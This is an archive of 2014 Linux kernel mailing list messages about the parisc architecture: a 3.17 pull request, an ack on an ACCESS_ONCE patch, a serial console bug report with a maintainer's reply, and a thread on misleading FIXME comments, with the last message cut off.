X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:6023 gmane.linux.kernel:1793399
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/6023>

Hi Linus,

please pull a few late fixes for the parisc architecture for kernel 3.17 from 
  git://git.kernel.org/pub/scm/linux/kernel/git/deller/parisc-linux.git parisc-3.17-7

We avoid using -mfast-indirect-calls for 64bit kernel builds to prevent
building an unbootable kernel due to latest gcc changes. In the
pdc_stable/firmware-access driver we fix a few possible stack overflows
and we now call secure_computing_strict() instead of secure_computing()
which fixes upcoming SECCOMP patches in the for-next trees.
 
Thanks,
Helge

----------------------------------------------------------------
Helge Deller (2):
      parisc: ptrace: use secure_computing_strict()
      parisc: pdc_stable.c: Avoid potential stack overflows

John David Anglin (1):
      parisc: Only use -mfast-indirect-calls option for 32-bit kernel builds

Rickard Strandqvist (1):
      parisc: pdc_stable.c: Cleaning up unnecessary use of memset in conjunction with strncpy

 arch/parisc/Makefile        |  7 ++++++-
 arch/parisc/kernel/ptrace.c |  6 ++----
 drivers/parisc/pdc_stable.c | 15 +++++++++------
 3 files changed, 17 insertions(+), 11 deletions(-)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Hans-Christian Egtvedt <egtvedt@samfundet.no>
Newsgroups: gmane.linux.ports.mips.general,gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.ports.parisc,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch
Subject: Re: [PATCH] atomic_read: Use ACCESS_ONCE() instead of cast to
 volatile
Date: Tue, 23 Sep 2014 21:43:27 +0200
Lines: 37
Approved: news@gmane.org
Message-ID: <20140923194327.GA5940@samfundet.no>
References: <1411482607-20948-1-git-send-email-bobby.prani@gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1411501662 23997 80.91.229.3 (23 Sep 2014 19:47:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 23 Sep 2014 19:47:42 +0000 (UTC)
Cc: Richard Henderson <rth@twiddle.net>,
        Ivan Kokshaysky <ink@jurassic.park.msu.ru>,
        Matt Turner <mattst88@gmail.com>,
        Russell King <linux@arm.linux.org.uk>,
        Catalin Marinas <catalin.marinas@arm.com>,
        Will Deacon <will.deacon@arm.com>,
        Haavard Skinnemoen <hskinnemoen@gmail.com>,
        Mikael Starvik <starvik@axis.com>,
        Jesper Nilsson <jesper.nilsson@axis.com>,
        David Howells <dhowells@redhat.com>,
        Tony Luck <tony.luck@intel.com>,
        Fenghua Yu <fenghua.yu@intel.com>,
        Hirokazu Takata <takata@linux-m32r.org>,
        Geert Uytterhoeven <geert@linux-m68k.org>,
        Ralf Baechle <ralf@linux-mips.org>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        "David S. Miller" <davem@davemloft.net>,
        Thomas Gleixner <tglx@linutronix.de>,
        Ingo Moln
To: Pranith Kumar <bobby.prani@gmail.com>
Original-X-From: linux-mips-bounce@linux-mips.org Tue Sep 23 21:47:29 2014
Return-path: <linux-mips-bounce@linux-mips.org>
Envelope-to: sgi-linux-mips@gmane.org
Original-Received: from eddie.linux-mips.org ([148.251.95.138] helo=cvs.linux-mips.org)
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-mips-bounce@linux-mips.org>)
	id 1XWW3d-0004V7-9B
	for sgi-linux-mips@gmane.org; Tue, 23 Sep 2014 21:47:29 +0200
Original-Received: from localhost.localdomain ([127.0.0.1]:50397 "EHLO
        eddie.linux-mips.org" rhost-flags-OK-OK-OK-FAIL)
        by eddie.linux-mips.org with ESMTP id S27009644AbaIWTr1xD8M4 (ORCPT
        <rfc822;sgi-linux-mips@gmane.org>); Tue, 23 Sep 2014 21:47:27 +0200
Original-Received: with ECARTIS (v1.0.0; list linux-mips); Tue, 23 Sep 2014 21:47:14 +0200 (CEST)
Original-Received: from cassarossa.samfundet.no ([193.35.52.29]:53905 "EHLO
        cassarossa.samfundet.no" rhost-flags-OK-OK-OK-OK)
        by eddie.linux-mips.org with ESMTP id S27009414AbaIWTrLvpZzQ (ORCPT
        <rfc822;linux-mips@linux-mips.org>); Tue, 23 Sep 2014 21:47:11 +0200
Original-Received: from egtvedt by cassarossa.samfundet.no with local (Exim 4.80)
        (envelope-from <egtvedt@samfundet.no>)
        id 1XWVzj-0007wo-Um; Tue, 23 Sep 2014 21:43:27 +0200
Content-Disposition: inline
In-Reply-To: <1411482607-20948-1-git-send-email-bobby.prani@gmail.com>
User-Agent: Mutt/1.5.21 (2010-09-15)
X-archive-position: 42750
X-ecartis-version: Ecartis v1.0.0
Original-Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: egtvedt@samfundet.no
Precedence: bulk
List-help: <mailto:ecartis@linux-mips.org?Subject=help>
List-unsubscribe: <mailto:ecartis@linux-mips.org?subject=unsubscribe%20linux-mips>
List-software: Ecartis version 1.0.0
List-Id: linux-mips <linux-mips.eddie.linux-mips.org>
X-List-ID: linux-mips <linux-mips.eddie.linux-mips.org>
List-subscribe: <mailto:ecartis@linux-mips.org?subject=subscribe%20linux-mips>
List-owner: <mailto:ralf@linux-mips.org>
List-post: <mailto:linux-mips@linux-mips.org>
List-archive: <http://www.linux-mips.org/archives/linux-mips/>
X-list: linux-mips
Xref: news.gmane.org gmane.linux.ports.mips.general:43899 gmane.linux.ports.alpha:2422 gmane.linux.kernel:1793401 gmane.linux.ports.arm.kernel:358883 gmane.linux.ports.ia64:24336 gmane.linux.ports.parisc:6024 gmane.linux.ports.sh.devel:39402 gmane.linux.ports.sparc:19699 gmane.linux.kernel.cross-arch:24757
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.mips.general/43899>

Around Tue 23 Sep 2014 10:29:50 -0400 or thereabout, Pranith Kumar wrote:
> Use the much reader friendly ACCESS_ONCE() instead of the cast to volatile. This
> is purely a style change.
> 
> Signed-off-by: Pranith Kumar <bobby.prani@gmail.com>
> ---
>  arch/alpha/include/asm/atomic.h    | 4 ++--
>  arch/arm/include/asm/atomic.h      | 2 +-
>  arch/arm64/include/asm/atomic.h    | 4 ++--
>  arch/avr32/include/asm/atomic.h    | 2 +-

For the AVR32 related part.

Acked-by: Hans-Christian Egtvedt <egtvedt@samfundet.no>

>  arch/cris/include/asm/atomic.h     | 2 +-
>  arch/frv/include/asm/atomic.h      | 2 +-
>  arch/ia64/include/asm/atomic.h     | 4 ++--
>  arch/m32r/include/asm/atomic.h     | 2 +-
>  arch/m68k/include/asm/atomic.h     | 2 +-
>  arch/mips/include/asm/atomic.h     | 4 ++--
>  arch/parisc/include/asm/atomic.h   | 4 ++--
>  arch/sh/include/asm/atomic.h       | 2 +-
>  arch/sparc/include/asm/atomic_32.h | 2 +-
>  arch/sparc/include/asm/atomic_64.h | 4 ++--
>  arch/x86/include/asm/atomic.h      | 2 +-
>  arch/x86/include/asm/atomic64_64.h | 2 +-
>  arch/xtensa/include/asm/atomic.h   | 2 +-
>  include/asm-generic/atomic.h       | 2 +-
>  18 files changed, 24 insertions(+), 24 deletions(-)

<snipp diff>

-- 
BR, HcE



From - Thu Nov 08 21:10:39 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.kernel,gmane.linux.serial,gmane.linux.ports.parisc
Subject: serial console broken in v3.17-rc6 ?
Date: Tue, 23 Sep 2014 22:11:15 +0200
Lines: 29
Approved: news@gmane.org
Message-ID: <5421D3E3.6080805@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1411503101 10846 80.91.229.3 (23 Sep 2014 20:11:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 23 Sep 2014 20:11:41 +0000 (UTC)
To: linux-kernel@vger.kernel.org, linux-serial@vger.kernel.org,
	linux-parisc <linux-parisc@vger.kernel.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Tue Sep 23 22:11:34 2014
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1XWWQv-0002r3-IT
	for glk-linux-kernel-3@plane.gmane.org; Tue, 23 Sep 2014 22:11:33 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756234AbaIWULU (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Tue, 23 Sep 2014 16:11:20 -0400
Original-Received: from mout.gmx.net ([212.227.15.19]:60733 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1755052AbaIWULS (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
	Tue, 23 Sep 2014 16:11:18 -0400
Original-Received: from [192.168.178.60] ([84.173.26.9]) by mail.gmx.com (mrgmx001)
 with ESMTPSA (Nemesis) id 0M86Cn-1YRDaU3lbt-00vbyQ; Tue, 23 Sep 2014 22:11:15
 +0200
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.7.0
X-Provags-ID: V03:K0:Vwg5n3tnANLUPHtRDspjMpf5BREM7f3ORnc02uWalevb678yNta
 oGU9cBtI3RtHYd5P5ARaKuTssfebnAlOlf5rltiPMqw3/qXsXojzbT8xVcrnlQT527GJcEB
 Lg+SX0Yl4dZVCESuZpFYyxMOnml2rB7eO4S8dMsvLplDZxmoKL4ESvLpXl2Q+5oBBh26NpZ
 1iD/xJIuimSTi0qcLISNQ==
X-UI-Out-Filterresults: notjunk:1;
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:1793425 gmane.linux.serial:16027 gmane.linux.ports.parisc:6025
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/1793425>

During the release cycle of v3.17 I've seen sometimes a broken serial console output
on the parisc platform. Interestingly all kernel messages printed by the kernel via printk() show
up correctly, but output from userspace (e.g. by the init process during boot) show
up as random bytes.
Since the printk() output is correct the serial port itself and setup is probably correct.
Is parisc the only arch which has this problem, or are other architectures affected as well?
Maybe someone has an idea what could be wrong?
I did not try to bisect it yet.

Thanks,
Helge

Here is a sample output during bootup:

<lots of standard kernel printk output>...
usb 1-2: Manufacturer: SILITEK
rs
      og
  ]f"
s l
random: nonblocking pool is initialized
net eth0: Setting full-duplex based on MII#1 link partner capability of 45e1
tpdsystemd-udevd[744]: starting version 215
.
  eg..
      vp..
          ..Adding 1350652k swap on /dev/sdb6.  Priority:-1 extents:1 across:1350652k
.
  EXT4-fs (sdb5): re-mounted. Opts: (null)

From - Thu Nov 08 21:10:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: FIX MES in init.c
Date: Tue, 23 Sep 2014 22:48:31 +0200
Lines: 22
Approved: news@gmane.org
Message-ID: <5421DC9F.2080504@gmx.de>
References: <54207769.2020105@gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1411506063 14934 80.91.229.3 (23 Sep 2014 21:01:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 23 Sep 2014 21:01:03 +0000 (UTC)
Cc: akpm@linux-foundation.org, himangi774@gmail.com,
	julia.lawall@lip6.fr, mgorman@suse.de,
	linux-parisc@vger.kernel.org, linux-kernel@vger.kernel.org
To: nick <yocto6@gmail.com>, jejb@parisc-linux.org
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Sep 23 23:00:55 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1XWX0v-0001Ug-Lq
	for glpp-linux-parisc@plane.gmane.org; Tue, 23 Sep 2014 22:48:46 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756791AbaIWUso (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 23 Sep 2014 16:48:44 -0400
Original-Received: from mout.gmx.net ([212.227.15.18]:58926 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1756188AbaIWUso (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 23 Sep 2014 16:48:44 -0400
Original-Received: from [192.168.178.60] ([84.173.26.9]) by mail.gmx.com (mrgmx001)
 with ESMTPSA (Nemesis) id 0M8NBi-1YS3YA2Aug-00vszV; Tue, 23 Sep 2014 22:48:32
 +0200
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.7.0
In-Reply-To: <54207769.2020105@gmail.com>
X-Provags-ID: V03:K0:l+ZLCrs8DcuvxUhyf5+6J5tNUNbDb5UgINHDzfmKFhUpZF9v85x
 sTdtFlTTvL3uDCvvvRHBJgoRjk2GZyVfVl0PYiSp8VLHg/2RH8m7NvsFpAtWGM4mpQZI/ZO
 986IJzVqjEu+QQMfnDyHjud6kCxw+hECs3Wbev2un6PhSlPLAG0qKYpnwhvxlzvf2HWuW9B
 5sz37i6IFT0/NKCUf+wEQ==
X-UI-Out-Filterresults: notjunk:1;
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:6026 gmane.linux.kernel:1793450
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/6026>

Hi Nick,

On 09/22/2014 09:24 PM, nick wrote:
> Greetings James and Other Maintainers of the Parisc Architecture,
> I am wondering about two fix mes in init.c and how to fix them
> for being const declared into actual variables.
> ...
> 	/* FIXME: This is 'const' in order to trick the compiler
> 	   into not treating it as DP-relative data. */
> 	extern void * const linux_gateway_page;

The FIXME: is misleading. It should maybe better read "HINT:" or something like that.
Trivially it's basically just casting the symbol so that the compiler
will produce the correct code later on.
There is nothing you could try to "fix".

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: FIX MES in init.c
Date: Tue, 23 Sep 2014 16:59:20 -0400
Lines: 18
Approved: news@gmane.org
Message-ID: <BLU436-SMTP6279A45A0CDDB3AC2C3BDF97B00@phx.gbl>
References: <54207769.2020105@gmail.com> <5421DC9F.2080504@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1411507068 26419 80.91.229.3 (23 Sep 2014 21:17:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 23 Sep 2014 21:17:48 +0000 (UTC)
Cc: akpm@linux-foundation.org, himangi774@gmail.com,
	julia.lawall@lip6.fr, mgorman@suse.de,
	linux-parisc@vger.kernel.org, linux-kernel@vger.kernel.org
To: Helge Deller <deller@gmx.de>, nick <yocto6@gmail.com>,
	jejb@parisc-linux.org
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Sep 23 23:17:40 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1XWXB3-0000RA-0T
	for glpp-linux-parisc@plane.gmane.org; Tue, 23 Sep 2014 22:59:13 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756273AbaIWU7M (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 23 Sep 2014 16:59:12 -0400
Original-Received: from blu004-omc2s32.hotmail.com ([65.55.111.107]:50409 "EHLO
	BLU004-OMC2S32.hotmail.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1751735AbaIWU7M (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 23 Sep 2014 16:59:12 -0400
Original-Received: from BLU436-SMTP62 ([65.55.111.71]) by BLU004-OMC2S32.hotmail.com over TLS secured channel with Microsoft SMTPSVC(7.5.7601.22724);
	 Tue, 23 Sep 2014 13:59:11 -0700
X-TMN: [hK1TjQLOiWeOoNBfEvoNC4P2+j776Jnl]
X-Originating-Email: [dave.anglin@bell.net]
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:24.0) Gecko/20100101 Thunderbird/24.6.0
In-Reply-To: <5421DC9F.2080504@gmx.de>
X-OriginalArrivalTime: 23 Sep 2014 20:59:10.0215 (UTC) FILETIME=[38DA7170:01CFD771]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:6027 gmane.linux.kernel:1793468
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/6027>

On 9/23/2014 4:48 PM, Helge Deller wrote:
> The FIXME: is misleading. It should maybe better read "HINT:" or 
> something like that.
> Trivially it's basically just casting the symbol so that the compiler
> will produce the correct code later on.
> There is nothing you could try to "fix".
Why not just remove "FIXME: " from these comments?

Dave

-- 
John David Anglin    dave.anglin@bell.net

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Peter Hurley <peter@hurleysoftware.com>
Newsgroups: gmane.linux.serial,gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: serial console broken in v3.17-rc6 ?
Date: Tue, 23 Sep 2014 17:08:54 -0400
Lines: 49
Approved: news@gmane.org
Message-ID: <5421E166.7060206@hurleysoftware.com>
References: <5421D3E3.6080805@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1411507147 27805 80.91.229.3 (23 Sep 2014 21:19:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 23 Sep 2014 21:19:07 +0000 (UTC)
To: Helge Deller <deller@gmx.de>, linux-kernel@vger.kernel.org,
	linux-serial@vger.kernel.org,
	linux-parisc <linux-parisc@vger.kernel.org>
Original-X-From: linux-serial-owner@vger.kernel.org Tue Sep 23 23:19:00 2014
Return-path: <linux-serial-owner@vger.kernel.org>
Envelope-to: lnx-linux-serial@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-serial-owner@vger.kernel.org>)
	id 1XWXKp-0001Fv-Si
	for lnx-linux-serial@plane.gmane.org; Tue, 23 Sep 2014 23:09:20 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756904AbaIWVI6 (ORCPT <rfc822;lnx-linux-serial@m.gmane.org>);
	Tue, 23 Sep 2014 17:08:58 -0400
Original-Received: from mailout32.mail01.mtsvc.net ([216.70.64.70]:56279 "EHLO
	n23.mail01.mtsvc.net" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org
	with ESMTP id S1756935AbaIWVI4 (ORCPT
	<rfc822;linux-serial@vger.kernel.org>);
	Tue, 23 Sep 2014 17:08:56 -0400
Original-Received: from h96-61-95-138.cntcnh.dsl.dynamic.tds.net ([96.61.95.138]:60117 helo=[192.168.1.139])
	by n23.mail01.mtsvc.net with esmtpsa (UNKNOWN:AES128-SHA:128)
	(Exim 4.72)
	(envelope-from <peter@hurleysoftware.com>)
	id 1XWXKR-0005nj-PY; Tue, 23 Sep 2014 17:08:55 -0400
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:31.0) Gecko/20100101 Thunderbird/31.1.1
In-Reply-To: <5421D3E3.6080805@gmx.de>
X-Authenticated-User: 990527 peter@hurleysoftware.com
X-MT-ID: 8FA290C2A27252AACF65DBC4A42F3CE3735FB2A4
Original-Sender: linux-serial-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-serial.vger.kernel.org>
X-Mailing-List: linux-serial@vger.kernel.org
Xref: news.gmane.org gmane.linux.serial:16028 gmane.linux.kernel:1793477 gmane.linux.ports.parisc:6028
Archived-At: <http://permalink.gmane.org/gmane.linux.serial/16028>

Hi Helge,

On 09/23/2014 04:11 PM, Helge Deller wrote:
> During the release cycle of v3.17 I've seen sometimes a broken serial console output
> on the parisc platform. Interestingly all kernel messages printed by the kernel via printk() show
> up correctly, but output from userspace (e.g. by the init process during boot) show
> up as random bytes.
> Since the printk() output is correct the serial port itself and setup is probably correct.
> Is parisc the only arch which has this problem, or are other architectures affected as well?
> Maybe someone has an idea what could be wrong?
> I did not try to bisect it yet.
> 
> Thanks,
> Helge
> 
> Here is a sample output during bootup:
> 
> <lots of standard kernel printk output>...
> usb 1-2: Manufacturer: SILITEK
> rs
>      og
>  ]f"
> s l
> random: nonblocking pool is initialized
> net eth0: Setting full-duplex based on MII#1 link partner capability of 45e1
> tpdsystemd-udevd[744]: starting version 215
> .
>  eg..
>      vp..
>          ..Adding 1350652k swap on /dev/sdb6.  Priority:-1 extents:1 across:1350652k
> .
>  EXT4-fs (sdb5): re-mounted. Opts: (null)

Thanks for the bug report.

1. What serial driver is this?
2. Regression since when?
3. Full dmesg please
4. Output of setserial -a [serial device]
5. Output of stty -a [serial device]

Regards,
Peter Hurley

--
To unsubscribe from this list: send the line "unsubscribe linux-serial" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Max Filippov <jcmvbkbc@gmail.com>
Newsgroups: gmane.linux.ports.mips.general,gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.ports.parisc,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch
Subject: Re: [PATCH] atomic_read: Use ACCESS_ONCE() instead of cast to volatile
Date: Wed, 24 Sep 2014 03:56:39 +0400
Lines: 34
Approved: news@gmane.org
Message-ID: <CAMo8BfKxwq=pc5Lym7X0Qdgmr37jJ-OK_dCmzukkHxtCxz8_7A@mail.gmail.com>
References: <1411482607-20948-1-git-send-email-bobby.prani@gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
X-Trace: ger.gmane.org 1411516638 10773 80.91.229.3 (23 Sep 2014 23:57:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 23 Sep 2014 23:57:18 +0000 (UTC)
Cc: Richard Henderson <rth@twiddle.net>,
        Ivan Kokshaysky <ink@jurassic.park.msu.ru>,
        Matt Turner <mattst88@gmail.com>,
        Russell King <linux@arm.linux.org.uk>,
        Catalin Marinas <catalin.marinas@arm.com>,
        Will Deacon <will.deacon@arm.com>,
        Haavard Skinnemoen <hskinnemoen@gmail.com>,
        Hans-Christian Egtvedt <egtvedt@samfundet.no>,
        Mikael Starvik <starvik@axis.com>,
        Jesper Nilsson <jesper.nilsson@axis.com>,
        David Howells <dhowells@redhat.com>,
        Tony Luck <tony.luck@intel.com>,
        Fenghua Yu <fenghua.yu@intel.com>,
        Hirokazu Takata <takata@linux-m32r.org>,
        Geert Uytterhoeven <geert@linux-m68k.org>,
        Ralf Baechle <ralf@linux-mips.org>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        "David S. Miller" <davem@davemloft.net>,
To: Pranith Kumar <bobby.prani@gmail.com>
Original-X-From: linux-mips-bounce@linux-mips.org Wed Sep 24 01:57:05 2014
Return-path: <linux-mips-bounce@linux-mips.org>
Envelope-to: sgi-linux-mips@gmane.org
Original-Received: from eddie.linux-mips.org ([148.251.95.138] helo=cvs.linux-mips.org)
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-mips-bounce@linux-mips.org>)
	id 1XWZxA-0002jj-Jm
	for sgi-linux-mips@gmane.org; Wed, 24 Sep 2014 01:57:04 +0200
Original-Received: from localhost.localdomain ([127.0.0.1]:51426 "EHLO
        eddie.linux-mips.org" rhost-flags-OK-OK-OK-FAIL)
        by eddie.linux-mips.org with ESMTP id S27009652AbaIWX5Cn1HKj (ORCPT
        <rfc822;sgi-linux-mips@gmane.org>); Wed, 24 Sep 2014 01:57:02 +0200
Original-Received: with ECARTIS (v1.0.0; list linux-mips); Wed, 24 Sep 2014 01:56:48 +0200 (CEST)
Original-Received: from mail-oi0-f41.google.com ([209.85.218.41]:41750 "EHLO
        mail-oi0-f41.google.com" rhost-flags-OK-OK-OK-OK)
        by eddie.linux-mips.org with ESMTP id S27008877AbaIWX4qFlyQq (ORCPT
        <rfc822;linux-mips@linux-mips.org>); Wed, 24 Sep 2014 01:56:46 +0200
Original-Received: by mail-oi0-f41.google.com with SMTP id u20so5416942oif.14
        for <multiple recipients>; Tue, 23 Sep 2014 16:56:39 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=mime-version:in-reply-to:references:date:message-id:subject:from:to
         :cc:content-type;
        bh=IiESKKAOfEPzw1Oxz82a8AbV2yIceR7E9uGLcZGx1hw=;
        b=fmILcF//HR/aPGDjiCDN0TxakDCAOnYOSOmf6gUNnBrhtUdGYqTXLl+IM9C9C3vSzo
         wBLp8ix6zbwIrjdzYJvrDvddqRb53VvOcW8IgE0blhF15GDpdrvV98cl77C5eZs31Tvl
         ttNaR2kYwp/0LiaYxD3tq11jptcxu6V+Vou5yDo54uIOOVGVlMnl302KlJgi9nWGUdSi
         3HNDM/wnTaOr39XR/4CkZA6TFAnSS0HgqhUwFpxX60T8UOwcKHV0xKLFfHVfC/k10YbK
         RSZcX1EaG1cgzwNgC39r0Aw1NmkTvyr2HC8qbz6C7WjIP7vuu2xPnw/5lZBdAIdqxoLf
         DjKA==
X-Received: by 10.60.134.17 with SMTP id pg17mr578672oeb.55.1411516599676;
 Tue, 23 Sep 2014 16:56:39 -0700 (PDT)
Original-Received: by 10.76.156.70 with HTTP; Tue, 23 Sep 2014 16:56:39 -0700 (PDT)
In-Reply-To: <1411482607-20948-1-git-send-email-bobby.prani@gmail.com>
X-archive-position: 42753
X-ecartis-version: Ecartis v1.0.0
Original-Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: jcmvbkbc@gmail.com
Precedence: bulk
List-help: <mailto:ecartis@linux-mips.org?Subject=help>
List-unsubscribe: <mailto:ecartis@linux-mips.org?subject=unsubscribe%20linux-mips>
List-software: Ecartis version 1.0.0
List-Id: linux-mips <linux-mips.eddie.linux-mips.org>
X-List-ID: linux-mips <linux-mips.eddie.linux-mips.org>
List-subscribe: <mailto:ecartis@linux-mips.org?subject=subscribe%20linux-mips>
List-owner: <mailto:ralf@linux-mips.org>
List-post: <mailto:linux-mips@linux-mips.org>
List-archive: <http://www.linux-mips.org/archives/linux-mips/>
X-list: linux-mips
Xref: news.gmane.org gmane.linux.ports.mips.general:43902 gmane.linux.ports.alpha:2423 gmane.linux.kernel:1793580 gmane.linux.ports.arm.kernel:358941 gmane.linux.ports.ia64:24338 gmane.linux.ports.parisc:6029 gmane.linux.ports.sh.devel:39403 gmane.linux.ports.sparc:19701 gmane.linux.kernel.cross-arch:24778
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.mips.general/43902>

On Tue, Sep 23, 2014 at 6:29 PM, Pranith Kumar <bobby.prani@gmail.com> wrote:
> Use the much reader friendly ACCESS_ONCE() instead of the cast to volatile. This
